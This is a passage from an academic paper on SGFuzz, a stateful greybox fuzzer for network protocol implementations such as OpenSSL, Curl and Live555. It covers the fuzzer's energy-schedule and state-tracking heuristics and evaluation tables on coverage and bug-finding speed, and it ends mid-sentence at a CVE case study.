t ′ = identi f y_bytes(t ′,ST T )
for each ti ∈ T do

Eti = assign_energy(ti,ST T )
end for

end if
until timeout reached or abort-signal

Output: Crashing Input tx

Algorithm 1 shows the general workflow of our fuzzing
algorithm. We implemented this algorithm into LIBFUZZER
and call our fuzzer SGFUZZ (Stateful Greybox Fuzzer). Start-
ing with an initial seed corpus T and until a timeout is reached
or the user aborts the campaign, the following steps are re-
peated. Firstly, SGFUZZ samples t according to the energy
distribution E which represents the likelihood of each seed in
T to be chosen (choose_next). The chosen seed t is then mu-
tated (mutate) to generate a new input t ′ (Section 4.3). Then
we execute the protocol implementation on t ′ and update the
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STT (Section 3.3). If t ′ causes a crash SGFUZZ returns the
crashing input, else if t ′ exercises new code branch or new
STT nodes (is_interesting), t ′ is added to the corpus T , and
otherwise t ′ is discarded (Section 4.1). Whenever new STT
nodes added, SGFUZZ identifies the bytes in input t ′ (iden-
tify_bytes) that contributed to the coverage of the new STT
nodes (Section 4.3) and updates the energy Eti of all seeds
ti ∈ T in the current corpus (assign_energy) (Section 4.2).
The portions of LIBFUZZER we changed are highlighted in
red in Algorithm 1.

4.1 State Coverage Feedback
Our first heuristic is to add generated inputs to the seed cor-
pus that exercise new nodes in the STT (is_interesting in
Alg. 1) as the augmentation of the original branch coverage
feedback. The rationale is to maximize the coverage of the
STT data structure to maximize the coverage of the state
space. Each new node in the STT represents a new value in
the current sequence of state variable values indicating a new
state under the current sequence of state transitions. Like in
code-coverage-guided greybox fuzzing, inputs that increase
coverage are added to the seed corpus, as well.

4.2 Energy Schedule
Our second heuristic is to assign more energy to seeds that
have a greater potential to lead to new states (assign_energy
in Alg. 1). Compared to existing works[5, 31] that prioritize
inputs that execute rarely executed code blocks, our algorithm
additionally assigns more energy to the seeds that execute the
valid state transitions which correspond to the valid protocol
behaviors.

Firstly, we assign more energy to the seeds that traverse the
rarely visited nodes in the STT. We set up an attribute called
hit count for each node in the STT to record the number of
inputs that traverse that node. We expect that STT nodes with
low hit count have more unexplored states in their "neighbor-
hood". Given the STT, we consider a node n ∈ ST T to be rare
if it has a below-average hit count.

rare(n) =

{
1 if hits(n)< ∑n′∈ST T hits(n′)

|ST T |
0 otherwise

(1)

where hits(n) returns the hit count of node n.
Let path(t) represent the set of nodes that are traversed

by input t in STT. Given an input t in corpus T , our power
schedule assigns energy e1(t) of t as the proportion of rare
nodes that are visited during program execution on t added to
the original energy of t:

e1(t) = e′(t)+ e′(t)
∑n∈path(t) rare(n)

|path(t)|
(2)

where e′(t) is the existing power schedule.

Secondly, we assign more energy to the seeds whose off-
spring are more likely to take a different path through the STT.
By Equation 2, all nodes in STT have similar opportunities
to be executed. However, not all state transitions are equally
important, and valid state transitions are more attractive. Our
intuition is that the valid state transitions, which correspond
to the expected protocol behaviors, are usually easy to be
mutated to other invalid state transitions, which represent the
error handling of the protocol. The change on any byte may
incur error handling logic. This is also a challenge of previous
stateful greybox fuzzing techniques. Thus, we identify this
type of seed and assign more energy to it. Given an input t
and a set of inputs tm that are mutated from t, we calculate the
inverse proportion of its offspring that traverse the same paths
as path(t). We extend our power schedule e2(t) as follows:

e2(t) = e1(t) ·
|tm|

∑c∈tm(path(c) == path(t))
(3)

Finally, to avoid assigning too much energy, we limit our
power schedule e(t) to no more than ten times (empirically
works best than other numbers) the original energy e′(t).
Given the seed input t ∈ T in seed corpus T , our power sched-
ule assigns the new energy e(t) to t.

e(t) = min(e2(t),10 · e′(t)) (4)

4.3 Fuzzing Individual Bytes
We define a simple heuristic to fuzz parts of the seed first that
might have more impact on increasing state (STT) coverage.
When an input seed is chosen to be mutated, its individual
bytes to be mutated are selected based on the bytes’ priorities.
Bytes have higher priority if they are deemed to have more
impact on the STT’s coverage (mutate and identify_bytes in
Alg. 1). Recent works on input probing [3, 11, 29] establish
the information flow from particular input bytes to a given
sink in a very lightweight manner. We leverage these ideas
to explore state space. If program execution on a mutated
input triggers new nodes in the STT and hence, that input
is causing new unexplored nodes to be visited for the first
time, it may have a great potential to increase the coverage of
the state space. The idea is to identify the individual bytes in
such an input whose mutation has contributed to the increase
in the STT’s coverage. Once identified, those bytes will be
assigned higher priority to be chosen for mutation. It makes
fuzzing more efficient by enabling earlier exploration of the
"neighbor" states around the newly created nodes that have
not been visited, yet.

Given an input t and a mutated input t ′ derived from t, if
the program execution on input t ′ creates new nodes in STT, t ′

is saved by SGFUZZ. Then SGFUZZ computes the set differ-
ence of bytes di f f (t, t ′) between t and t ′ and records the set
of newly added STT nodes N exercised by t ′. We annotate the
mutation range as Rt ′ = di f f (t, t ′) if |N|> 0, or set Rt ′ to the
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Subject Protocol Fuzz Driver Commit Size Share
H2O HTTP h2o-fuzzer-http2 1e7344 337k LoC 12k IPs

MbedTLS SSL/TLS dtlsserver e483a7 138k LoC 8m IPs
Curl Several curl_fuzzer aab3a7 202k LoC -

Gstreamer Custom gst-discoverer 44bdad 235k LoC 15k IPs
OpenSSL SSL/TLS netdriver 1e08f3 673k LoC >10m IPs

Live555 RTSP netdriver 21.Aug’08 17k LoC 12k IPs
OwnTone DAAP netdriver 774d7c 37k LoC 10k IPs
DCMTK DICOM netdriver 24ebf4 38k LoC 3k IPs

Table 2: Protocol implementations used for comparison.

entire seed t ′ (Rt ′ = ⟨t ′⟩), otherwise (identify_bytes in Alg. 1).
Later, when t ′ is chosen to be mutated for fuzzing (mutate
in Alg. 1), we only mutate the bytes under the range Rt ′ . If
it does not bring any interesting behavior (is_interesting in
Alg. 1), we gradually enlarge Rt ′ until it spans the entire seed
t ′. This helps us build an efficient fuzz campaign.

5 Experimental Setup

5.1 Research Questions
Our main hypothesis is that stateful greybox fuzzing allows
for more effective fuzzing of stateful programs, such as proto-
col implementations. We investigated this hypothesis along
with the following research questions.

RQ.1 (State Transition Coverage) How many more differ-
ent sequences of state transitions does SGFUZZ exer-
cise? By mapping out the state space, SGFUZZ aims
to penetrate deeper into the program’s state space. The
number of different sequences of states exercised by a
fuzzer indicates how deep the fuzzer reaches into the
state space.

RQ.2 (Branch Coverage) How much more branch coverage
does SGFUZZ achieve? We cannot find bugs in code that
is not covered.

RQ.3 (State Identification Effectiveness) Identifying state
variables, what is the false positive / false negative rate?
How does it affect the mapping of the state space (STT)?

RQ.4 (Bug Finding Effectiveness) How much faster does
SGFUZZ expose stateful bugs in our benchmark?

RQ.5 (New Bugs) How many previously unknown bugs can
SGFUZZ find in widely used stateful programs? How
many are stateful?

5.2 Subject Programs Studied
Benchmarks. We constructed our set of subjects from two
mature benchmarks. PROFUZZBENCH [19] is a benchmark
for stateful fuzzing of network protocols and facilitates com-
parison to AFLNET [20] (i.e., the current state-of-the-art

stateful fuzzer). PROFUZZBENCH includes a suite of repre-
sentative open-source network servers for popular protocols.
OSS-FUZZ7 is an open-source continuous fuzzing framework
that builds more than 500 open source projects for fuzzing.
FUZZBENCH [18] is an open-source fuzzer evaluation infras-
tructure that automatically conducts fuzzing experiments and
produces coverage graphs. FUZZBENCH supports integrating
benchmarks from the OSS-FUZZ.

Selection Criteria. We selected 8 real-world target pro-
grams as subjects for our experiments as shown in Table 2.
We opted for the programs that 1) work on distinct and well-
known protocols aiming to provide diverse state machines, 2)
are widely used (as indicated by a search on the Shodan), 3)
are used in security-critical industries, such as medical and
finance, in which any bug can have serious consequences. At
the time of writing, they represent the most recent version
(cf. commit column) of eight programs implementing more
than 30 different well-known protocols (curl includes multiple
protocol implementations). These programs are widely used
across many machines on the internet (cf. #IPs in the Share
column). PROFUZZBENCH needs socket communication and
we use netdriver8 to enable it for in-memory fuzzers. Un-
fortunately, netdriver does not support the UDP protocol or
the fork system call because a fork will spawn a new process
that prevents fuzzers from measuring branch coverage. We
selected all programs in PROFUZZBENCH which are compat-
ible with in-memory fuzzers.

Selected Subjects. H2O is a popular web server; MbedTLS
and OpenSSL are security-critical encryption libraries; Curl9

is a utility to communicate via multiple protocols and im-
plements many state machines; Gstreamer implements a
real-time streaming protocol;10 Live555 and OwnTone are li-
braries for streaming media; and DCMTK is used for the medical
data exchange between hospitals (where bugs can be literally
fatal). Three quarter of those protocol implementations are
running on more than 10 thousand different machines (IPs),
according to a recent query of the Shodan search engine.

5.3 Fuzzers

We implemented our stateful greybox fuzzing approach into
LIBFUZZER (the most recent version at the time of our exper-
iment) and call it Stateful Greybox Fuzzer (SGFUZZ). In our
experiments, SGFUZZ is compared against LIBFUZZER as
the baseline and AFLNET and IJON as the state-of-the-art.

Stateful greybox fuzzer (SGFUZZ). To implement our al-
gorithm into LIBFUZZER, we extended the Fuzzer::RunOne
function with the heuristic described in Section 4.1, changed

7https://google.github.io/oss-fuzz/
8https://github.com/google/honggfuzz/tree/master/

libhfnetdriver
9Curl implements 26 client-side protocols which Shodan cannot identify.

10However, the OSS-Fuzz fuzz driver targets the custom protocol which
retrieves information about a remote media file.
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the InputCorpus::UpdateCorpusDistribution function to im-
plement the heuristics discussed in Section 4.2, and added
a filter to the MutationDispatcher::Mutate function for the
heuristics discussed in Section 4.3. As for the construction
of the STT discussed in Section 3.3, we implemented a stan-
dalone python script for the instrumentation component which
is static and does not rely on any compiler infrastructure. The
runtime component is embedded in the fuzzer.

Baseline. LIBFUZZER is in-memory, coverage-guided, evo-
lutionary fuzzer and serves as the baseline fuzzer we used to
implement SGFUZZ.

State-of-the-art. AFLNET is the current state-of-the-art
stateful fuzzer for protocol implementations that uses the
concept of state-feedback. IJON is another state-of-the-art
stateful fuzzer which needs manual annotation for states. We
used both to evaluate if SGFUZZ gains an advantage over
the state-of-the-art stateful fuzzer. Because IJON does not
support FUZZBENCH or PROFUZZBENCH and to facilitate a
fair comparison to our baseline and our implementation, we
re-implemented IJON in LIBFUZZER and ported its anno-
tation function ijon_push_state11 for IJON-based state-
feedback. To maximize the benefit for IJON, we assume a hu-
man annotator would annotate the same state variables as iden-
tified by SGFUZZ. AFLNET does not support FuzzBench.

Benchmark Integration. All fuzzers were integrated into
FUZZBENCH or PROFUZZBENCH using equivalent setups
and build processes. All fuzzers are provided the same setup,
environment, seeds, and resources. For all fuzzers, Address-
Sanitizer was enabled to detect memory corruption bugs.
While PROFUZZBENCH uses the gcov tool, FUZZBENCH
uses the llvm-cov tool to measure the number of branches
covered in a fuzzing campaign in 15-minute intervals.

5.4 Experimental Infrastructure

Computational Resources. After the integration of SGFUZZ
and our benchmarks into FuzzBench, we received assistance
from the FuzzBench team to run the branch and state transi-
tion coverage experiments on the Google Cloud Service [18].
For the other four subjects in the ProFuzzBench, we ran the
branch and state transition coverage experiments on our local
machine with an Intel Xeon Gold 6258R CPU that has 128
logical cores running at 2.70GHz. The machine runs Ubuntu
20.04.2 LTS and has access to 128GB of main memory.

Experiment configurations. As for the initial seed corpus,
we selected one valid input for each subject as the initial
seed for RQ1, RQ2, and RQ3, and selected all seeds provided
FuzzBench or ProFuzzBench as the initial seed for RQ4 and
RQ5. In order to mitigate the impact of randomness, we re-
peated every 23 hours fuzzing campaign 20 times. The 23

11https://github.com/RUB-SysSec/ijon/blob/
56ebfe34709dd93f5da7871624ce6eadacc3ae4c/llvm_mode/
afl-llvm-rt.o.c#L75

Subject AFLNET LIBFUZZER IJON SGFUZZ Â12 U Factor

H2O - 70.80 91.85 1849.30 1.00 <0.01 26.1- (3.61%) (4.68%) (94.26%)

MbedTLS - 22.80 32.45 50.80 1.00 <0.01 2.2- (39.31%) (55.95%) (87.59%)

Curl - 150.25 375.75 14630.80 1.00 <0.01 97.3- (0.98%) (2.45%) (95.55%)

Gstreamer - 49.40 134.20 4067.30 1.00 <0.01 82.3- (1.08%) (2.94%) (88.96%)

OpenSSL 13.25 23.95 29.60 33.10 0.81 <0.01 1.4(33.97%) (61.41%) (75.90%) (84.87%)

Live555 138.27 184.15 405.3 1162.30 1.00 <0.01 6.3(11.42%) (15.21%) (33.75%) (95.98%)

OwnTone 1.00 46.40 426.00 930.15 0.71 0.03 20.0(0.10%) (4.82%) (44.28%) (96.69%)

DCMTK 68.10 189.25 267.50 6737.05 1.00 <0.01 35.6(0.92%) (2.55%) (3.93%) (90.87%)
Avg: 33.9x

Table 3: Average state transition coverage for 20 campaigns
of 23 hours. The percentage shows this number as a propor-
tion of distinct transition sequences exercised by any run of
any fuzzer. Vargha-Delaney (Â12) measures the magnitude
of the difference in transition coverage at 23 hours between
SGFUZZ and LIBFUZZER (effect size) while Wilcoxon rank-
sum test (U) measures the degree to which these results may
be explained by randomness (statistical significance). Factor
shows the factor improvement compared to LIBFUZZER.

hours timeout is the default for the FuzzBench team. To make
the results consistent, we use the same time budget.

6 Evaluation Results

RQ.1 State Transition Coverage
For all fuzzers, subjects, and campaigns, we measured state
transition coverage as the number of paths in the STT which
is constructed across the execution of the subject on all seeds
generated throughout the campaign and from the initial corpus.
Each path represents a unique sequence of state transitions
during the execution of the subject on an input. If a fuzzer
exercises more such succinct sequences, it penetrates deeper
into the protocol’s state space.

Presentation. Table 3 shows the average number of state
transition sequences for 20 campaigns of 23 hours experi-
ments. To assess the "completeness" of the state space cov-
erage, we counted the number of distinct sequences for any
run of any fuzzer and consider this as 100% for all fuzzers
and the average percentage of state transitions exercised by
each fuzzer is shown in the brackets. Factor represents the
factor improvement of SGFUZZ to LIBFUZZER in terms of
average #state sequences. Vargha Delaney Â12 measures the
effect size and gives the probability that a random fuzzing
campaign of SGFUZZ achieves more state transition cover-
age than a random fuzzing campaign of LIBFUZZER (i.e.,
Â12 > 0.5 means SGFUZZ is better). The Wilcoxon rank sum
test U is a non-parametric statistical hypothesis test to assess
whether the coverage differs across both fuzzers. We reject
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the null hypothesis if U < 0.05, i.e., SGFUZZ outperforms
LIBFUZZER with statistical significance. AFLNET does not
support FuzzBench. We annotated the same states as in SG-
FUZZ to IJON which needs manual state annotations.

Results. For all subjects, SGFUZZ covers substantially
more state transitions than AFLNET, LIBFUZZER, and IJON.
Compared to baseline LIBFUZZER, SGFUZZ exercises 34x
more state transitions on average (20x median) across all
eight subjects, owing to the STT guided fuzzing approach.
Especially for Curl, Gstreamer, and DCMTK, SGFUZZ in-
creases the state transition coverage significantly. Those have
much more state variables than others. SGFUZZ even exe-
cutes 97x more state transitions than LIBFUZZER on Curl
and 930x more state transitions than AFLNET on OwnTone.
An extended discussion about about the contribution of the
individual heuristics in SGFUZZ can be found in Section A.1.

AFLNET vastly underperforms. We believe the reasons are
1) AFLNET identifies state by a different method (using the
response code) and 2) AFLNET restarts the tested program
after each generated message sequence which incurs a big
performance loss. In contrast, other fuzzers leverage the same
in-memory architecture for high throughput.

IJON exercises 2.75x more state transitions than LIB-
FUZZER on average as it adds state feedback, but SGFUZZ
still exercises 15.29x more state transitions than IJON. As a
proportion of all sequences exercised in any run of any fuzzer,
SGFUZZ covers 92% of state transitions, on average (99%
on the sum of 20 campaigns). This shows that SGFUZZ can
cover almost all state transitions covered by other fuzzers
and more. 1% sequences are executed by LIBFUZZER only
because of the randomness of fuzzing.

LIBFUZZER, as the only stateless fuzzer, performs well
only on OpenSSL where the total number of distinct state
transition sequence is relatively low (39). We found that LIB-
FUZZER explores states mostly near the initial states or end
states (cf. Section A.3).

For subjects MbedTLS and OpenSSL, we found that SG-
FUZZ has smaller state transition increase than for the other
subjects. For those subjects, the number of distinct sequences
explored by any fuzzer is relatively low. For instance, in
OpenSSL, st->hand_state variable is an enum-type vari-
able used for tracking handshake states of TLS protocol.
From state TLS_ST_SR_CLNT_HELLO12, it needs at least
four more conditions to reach state DTLS_ST_SW_HELLO-
_VERIFY_REQUEST, and at least two more conditions to
reach state TLS_ST_OK. Some of the conditions need a spe-
cific external state. For instance, SSL_IS_DTLS(s) is true when
the traffic comes via UDP protocol rather than TCP.

12https://github.com/openssl/openssl/blob/c74188e/ssl/
statem/statem_srvr.c#L585

On average, SGFUZZ covers 33x more sequences of state
transitions than LIBFUZZER, 15x more than IJON, and
260x more than AFLNET. By tracking the state space via
the STT, SGFUZZ is able to cover more of the state space.

RQ.2 Branch Coverage

Presentation. Table 4 shows the branch coverage result af-
ter 23 hours. Improvement represents the percentage im-
provement of SGFUZZ to LIBFUZZER based on the average
branch coverage. time-to-coverage measures the time it takes
AFLNET, IJON, and SGFUZZ, respectively to achieve the
same coverage that LIBFUZZER achieves in 23 hours. Factor
represents the factor improvement of SGFUZZ to LIBFUZZER
based on time-to-coverage. Â12 represents the Vargha Delaney
effect size while U represents Wilcoxon signed rank statistical
significance.

Results. Although AFLNET also aims to explore the state
space of the program, there are substantial inefficiencies that
prevent AFLNET from achieving good coverage on most
subjects. IJON performs slightly worse than LIBFUZZER
because it introduces performance cost for state tracing. How-
ever, with our algorithm, in general, SGFUZZ overcomes the
performance cost caused by the STT and outperforms both
LIBFUZZER and IJON to reach more state-dependent code.
The seeds are valid but only execute few state transition se-
quences. LIBFUZZER seems to be stuck in "shallow" states,
and IJON explores more state space with state tracing, while
SGFUZZ explores much more states that reach much "deeper"
by both state tracing and heuristic algorithms. More discus-
sions about our algorithm’s contribution to the branch cov-
erage can be found in Section A.1 and the growth trend of
branch coverage can be found in Section A.2.

One exception is the Gstreamer. We explain the rea-
son with the huge state space in Gstreamer which cor-
responds to a small code space. The enum-type variable
best_probability, which ranges from 1 to 100, represents
the certainty about the media type of that stream. When
Gstreamer receives a stream, it gradually updates the value of
best_probability as more information becomes available.
This state variable has 100 states and is updated frequently
to seemingly random values, so SGFUZZ generates much
more inputs to explore the state space despite not achieving
much more branch coverage. To confirm our hypothesis, we
removed best_probability, repeated this experiment, and
saw a good improvement in the coverage results for SGFUZZ.
LIBFUZZER would take 23 hours to achieve about the same
coverage as SGFUZZ achieves in 12 hours.

Table 4 (left) shows that, on average, SGFUZZ achieves
2.20% more branch coverage than LIBFUZZER, 4.41% more
than IJON, and 38.73% more than AFLNET. Table 4 (right)
shows that SGFUZZ achieves the same branch coverage 2.3x
faster than LIBFUZZER in the 23 hours, on average. For state-
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Subject Branch Coverage Time-to-Coverage
AFLNET LIBFUZZER IJON SGFUZZ Â12 U Improvement AFLNET LIBFUZZER IJON SGFUZZ Â12 U Factor

H2O - 2879.20 2820.25 3050.68 0.84 <0.01 5.96% - 23.00h 14.04h 6.69h 0.98 <0.01 3.4
MbedTLS - 11929.60 11885.65 12057.68 0.58 0.43 1.07% - 23.00h >23.00h 17.86h 0.75 <0.01 1.3

Curl - 19262.16 16892.55 19942.39 0.71 0.03 3.53% - 23.00h 21.89h 12.23h 0.95 <0.01 1.9
Gstreamer - 63280.06 60993.58 61698.56 0.11 <0.01 -2.50% - 23.00h >23.00h >23.00h - - -
OpenSSL 11342.00 12463.14 12456.00 12610.50 0.72 0.02 1.18% >23.00h 23.00h >23.00h 10.08h 1 <0.01 2.3

Live555 2179.87 2244.63 2214.38 2278.10 0.73 0.02 1.49% >23.00h 23.00h >23.00h 15.86h 0.95 <0.01 1.5
OwnTone 991.00 2184.64 2299.20 2312.60 0.65 0.15 5.86% >23.00h 23.00h 6.14h 5.04h 1 <0.01 4.6
DCMTK 5763.00 6042.15 5997.05 6100.50 0.77 <0.01 0.97% >23.00h 23.00h >23.00h 14.40h 0.93 <0.01 1.6

Avg: 2.20% Avg: 2.3x

Table 4: Average branch coverage (left) and average time to coverage (right) for 20 campaigns of 23 hours. The time to coverage
measures the time it takes AFLNET, IJON, and SGFUZZ to achieve the same coverage that LIBFUZZER achieves in 23 hours
(0.25h accuracy). Vargha-Delaney (Â12) measures the magnitude of the difference (effect size) while Wilcoxon rank-sum test (U)
measures the degree to which these results may be explained by randomness (statistical significance). Factor shows the factor
improvement compared to LIBFUZZER.

dependent code, this is either because SGFUZZ takes much
shorter time than LIBFUZZER to reach the same coverage,
(Time-to-coverage), or SGFUZZ reaches parts of the code that
LIBFUZZER has been unable to reach (Branch coverage and
RQ2 demonstrated in Figure 3). Looking at RQ1 and RQ2
together, there is a greater increase in transition coverage
than in branch coverage. This further supports our hypothesis
that conventional branch coverage feedback is insufficient to
measure the state space coverage of programs.

We recall our example at Section 2 to explain the branch
coverage gap between SGFUZZ and LIBFUZZER. The func-
tion sequences 1⃝ 2⃝ 3⃝ and 3⃝ 1⃝ 2⃝ would result in the same
branch coverage, but they are different regarding the value of
the state variable (stream->state). This difference is cap-
tured by the STT in SGFUZZ and hence, both two correspond-
ing seeds are saved for further exploration, while LIBFUZZER
is unable to distinguish between these function call sequences
and hence only the first input seed that result in one of these
function calls will be saved. Consequently, as the function
4⃝ is easier to be explored from mutating the seed resulting
to 1⃝ 2⃝ 3⃝ than from the other seed, LIBFUZZER has a high
chance of missing the corresponding precious seed and be-
coming unable to cover the function 4⃝. In our experiments,
the function 4⃝ is always explored by SGFUZZ faster than
LIBFUZZER, or is unexplored for LIBFUZZER in 23 hours.
There are more state-dependent code that produces the branch
coverage gap.

On average, SGFUZZ achieves 2.20% more branch cover-
age than LIBFUZZER, 4.41% more than IJON, and 38.73%
more than AFLNET. SGFUZZ achieves the same branch
coverage about 2x faster than LIBFUZZER.

RQ.3 State Identification Effectiveness

To evaluate how well our heuristic is able to identify true state
variables, we manually examined the valid identified variables
of enumerated type for all subjects as well as the correspond-

Subject Enum STT
All State Percentage All State Percentage RFC

H2O 43 22 51.16% 6418 6417 99.98% ✓
MbedTLS 36 33 91.67% 167 167 100.00% ✓

Curl 81 44 54.32% 35690 35629 99.83% ✓
Gstreamer 218 151 69.27% 11240 11224 99.86% NA
OpenSSL 64 40 62.50% 817 789 96.57% ✓

Live555 11 10 90.91% 17446 17446 100.00% ✗
OwnTone 51 37 72.55% 3671 3671 100.00% NA
DCMTK 145 80 55.17% 27178 27109 99.75% NA

Avg: 68.44% Avg: 99.50%

Table 5: [Left] The number of identified (All) and actual state
variables (State) among enum-type variables. [Right] The
number of nodes (All) and state-related nodes (State) in the
STT constructed in 23 hours.

ing Request for Comments (RFC) documents, which contain
technical specifications and organizational notes for the In-
ternet. To evaluate false positives, we classified the identified
variables into 1) configuration variables if their values
are got from static sources (configuration files, command-
line parameters), 2) state variables if their values are got
from inputs and affect the program execution by the if- or
switch-statements, 3) error or response codes if their
values are assigned as the return value of functions. To evalu-
ate the impact on state space exploration, we measured the
percentage of nodes in the STT that are actually state vari-
ables. To evaluate false negatives, we checked if the STT
covers the protocol states as discussed in the corresponding
RFCs. Specifically, we checked a) if an RFC exists, b) if the
specified state machine is represented as enumeration type
in the protocol implementation, and c) if STT covers these
variables.

Presentation. Table 5 shows the results of the state iden-
tification analysis. All represents the number of enum-type
variables or of nodes in STT. State represents the number of
state variables in enum-type variables or state nodes in STT.
RFC represents that if the protocol state machines stipulated
in the Request for Comments(RFC) documents are covered
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by the STT. NA represents Not Applicable.
Results. On average, 68.44% of variables that were iden-

tified using our enum-based heuristic are actually state vari-
ables. However, the 32% false positive rate has a low impact
on the State Transition Tree (STT) construction. On average,
99.5% of nodes in the STT are state variable values. The
value of state variables change several times during the exe-
cution which is reflected in the growing STT. The remaining
0.5% of nodes are related to non-state variables. For instance,
configuration variables are usually assigned once and often
appear at the beginning of an execution (e.g., when the pro-
tocol exchange is configured). Error or response codes are
usually written to log files or returned back to users once per
execution and without any change in value. This means non-
state-variables rarely appear in the STT and thus do not affect
our algorithm in Section 4 or the achieved branch coverage.

While an average of 32% of identified variables are not
actually state variables, an average 99.5% of nodes in
the STT constructed in 23 hours are referring to values
of actual state variables. This is explained by the STT
tracking changes in variable values.

We also investigated whether protocol states specified in
the Request for Comments (RFC), if any, are reflected as
enumeration-type state variables, and whether they appear
in the STT. In other words, we investigated false negatives.
There is one false negative among our eight subjects. As
we can see in the last column of Table 5, three of the eight
protocol implementations are proprietary protocols and no
RFC exists, and the implementation (using state variables)
already provides the ground-truth.13 Four of the remaining
five protocols implement the specified states as enumeration-
type state variables.14. For the Live555 implementation of the
RTSP protocol, the corresponding RFC-2326 does specify the
RTSP protocol state machine but it is implicitly represented
by state variables related to data transport or parsing, which
imply the protocol state machine. For instance, the enum-type
variable fCurrentParseState maintains the states of the media
file parser, which must be the initial state under the READY
state of RTSP protocol and must not be the initial states under
the PLAY state of the RTSP protocol. However, as there is no
explicit state variable, we count this as a false positive.

To evaluate state coverage regarding true state variables,
we recorded the number of distinct values of true state vari-
ables in our experiments, as shown in Table 6. On average,
SGFUZZ covers 88.98% more states than LIBFUZZER in 23
hours. For Gstreamer, which has the best improvement, there
is a huge state space in which some states are easier to be
explored, such as best_probability variable (explained in

13It is interesting to point out that these protocols cannot be tested by
traditional specification-guided protocol testing tools.

14H2O(rfc7540), MbedTLS (rfc8446), Curl (rfc959, rfc3501, etc.), and
OpenSSL (rfc8446)

Subject AFLNET LIBFUZZER IJON SGFUZZ Improvement
H2O - 12 12 12 +0.00%

MbedTLS - 14 17 21 +50.00%
Curl - 55 67 75 +36.36%

Gstreamer - 23 31 113 +391.30%
OpenSSL 40 40 44 47 +17.50%

Live555 15 15 17 19 +26.67%
OwnTone 10 18 23 27 +50.00%
DCMTK 6 5 7 12 +140.00%

Avg: +88.98%

Table 6: The average number of distinct state variable values
observed in campaigns of length 23 hours (for enumeration
variables that we know for sure represent states).

RQ2). For H2O, which has least improvement, we found that
the RFC-related variable stream->state only has eight pos-
sible values and all eight values are covered by all the fuzzers
in 23 hours, and hence, there has been less room for state
coverage improvement. In general, exercising new states is
more challenging because specific inputs or external environ-
ment are usually needed, but SGFUZZ still outperforms other
fuzzers in state coverage.

We should also note that our automatic state identifica-
tion is much more complete than a manual annotation, as
in IJON [2]. For the protocol-implementation-related
example15 in the paper, the authors annotated the message
type in TPM to represent state (Listing.D&Section.V.D).
IJON can generate more “distinct sequences” of message
types. SGFUZZ would identify the state variables 16 of each
TPM subsystem and track the state 17 of these subsystems. We
examined the experiment data of IJON and found that the mes-
sage sequences with the same message types may correspond
to different subsystem states. For example, for the same mes-
sage type sequence 32 and 34 (integers used in TPM to mark
message type), the subsystem’s state may be SU_RESTART or
SU_RESET. It is because the subsystem’s states are affected
by previous execution results, not the message type. This
shows how SGFUZZ can automatically annotate state in a
more fine-grained manner than human.

RQ.4 Bug Finding Effectiveness

Among known bugs from OSS-Fuzz and ProFuzzBench, we
selected seven stateful bugs to evaluate if SGFUZZ exposes
stateful bugs faster, and three stateless bugs to evaluate if SG-
FUZZ hinders the finding of stateless bugs. In ProFuzzBench,
we selected the stateful bug CVE-2019-7314 in Live555
which was found by AFLNET. In OSS-Fuzz, we used the bug
tracker that contains fuzzer-generated bug reports to chose

15https://github.com/RUB-SysSec/ijon-data/blob/master/
tpm_fuzzing/src/CommandDispatcher.c#L396

16https://github.com/RUB-SysSec/ijon-data/blob/master/
tpm_fuzzing/src/CommandAudit.c#L100

17https://github.com/RUB-SysSec/ijon-data/blob/master/
tpm_fuzzing/src/Global.h#L369-L374
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Subject Bug AFLNET LIBFUZZER IJON SGFUZZ FactorAvg Num Avg Num Avg Num Avg Num
Stateful:

H2O 12096 - - 4.17h 12 4.89h 18 2.20h 19 1.9
OpenSSL 4528 - - >23h 0 14.28h 6 7.09h 10 ∞

Curl 16907 - - 6.29h 19 4.92h 11 1.98h 19 3.2
Gstreamer 20912 - - 0.07h 20 0.07h 20 0.03h 20 2.3

Live555 CVE 7.78h 20 0.05h 20 0.05h 20 0.05h 20 1.0
H2O 3303 - - >23h 0 >23h 0 >23h 0 -
Curl 22874 - - >23h 0 >23h 0 >23h 0 -

Avg: 2.1x
Stateless:

H2O 554 - - 4.69h 20 4.48h 16 3.86h 20 1.2
Curl 17954 - - 0.18h 20 0.21h 20 0.15h 20 1.2

OpenSSL 3122 - - >23h 0 >23h 0 >23h 0 -
Avg: 1.2x

Table 7: Time to expose existing bugs: 20 campaigns, 23 hr.

the other seven bugs. Among stateful bugs, we take the bugs
that require at least two state transitions to be exercised before
they can be exposed. Stateless bugs are the bugs that can be
executed without any state transition.

Presentation. Table 7 shows the average time to expose
all bugs in 20 campaigns of 23 hours. Num is the number of
campaigns in which the bugs were exposed. Factor represents
the factor improvement of SGFUZZ to LIBFUZZER based on
the average time-to-bug. Bug shows the bug identifier in the
OSS-Fuzz issue tracker (for Live555, CVE-2019-7314).

Results. For stateful bugs, SGFUZZ is never slower than the
competition in exposing the bugs. For OpenSSL, which has
a more complicated state machine than others, LIBFUZZER
cannot trigger the bug in 23 hours, while IJON and SGFUZZ
trigger it in 6 and 10 out of 20 fuzzing campaigns of 23 hours,
respectively. For Live555, LIBFUZZER, IJON, and SGFUZZ
expose the bug much faster than AFLNET because of the
high throughput. In general, IJON outperforms LIBFUZZER,
but it is worse than SGFUZZ. These known stateful bugs were
originally found by LIBFUZZER because few state transitions
are needed (cf. Section A.3).

For stateless bugs, SGFUZZ shows a slight advantage over
LIBFUZZER and IJON. We found that these stateless bugs
are usually in the functions which are executed together with,
but do not depend on state transitions, such as message pars-
ing functions must be executed before state transitions (bug
#554). Our algorithms explore the state space more efficiently,
facilitating the stateless bug finding as well.

On average, SGFUZZ exposes stateful bugs about twice
(2x) as fast as LIBFUZZER and IJON, and about 155x
faster than AFLNET.

RQ.5 New Bugs Found

We found 12 unique bugs in three of four subjects from Pro-
FuzzBench. All new bugs are listed in Table 8. All of these
bugs can be exploited remotely and have serious safety risks.
So far, we have received 8 CVE IDs (we are in the process of

applying for CVEs for the remaining 4 bugs). Out of the 12
new bugs we found, 10 are stateful. Of those, 7 exist in the
states represented by explicit state variables of enumerated
type, while the other 3 stateful bugs result from aggregated
implicit states (cf Section 3.4). Two stateful bugs (the first and
tenth line in Table 7) can also be triggered by LIBFUZZER
because they depend on implicit states. One stateless bug
(the eighth line in Table 7) can also be triggered by LIB-
FUZZER. With the same state variables identified by SGFUZZ,
IJON additionally expose two bugs (the second and third line
in Table 7). All 12 new-found bugs cannot be triggered by
AFLNET in 23 hours.

Case study: CVE-2021-3928318 in Live555 (stateful bug
in explicit state). This bug is exposed with the following
minimal prefix of RTSP states ⟨INIT =⇒ READY =⇒
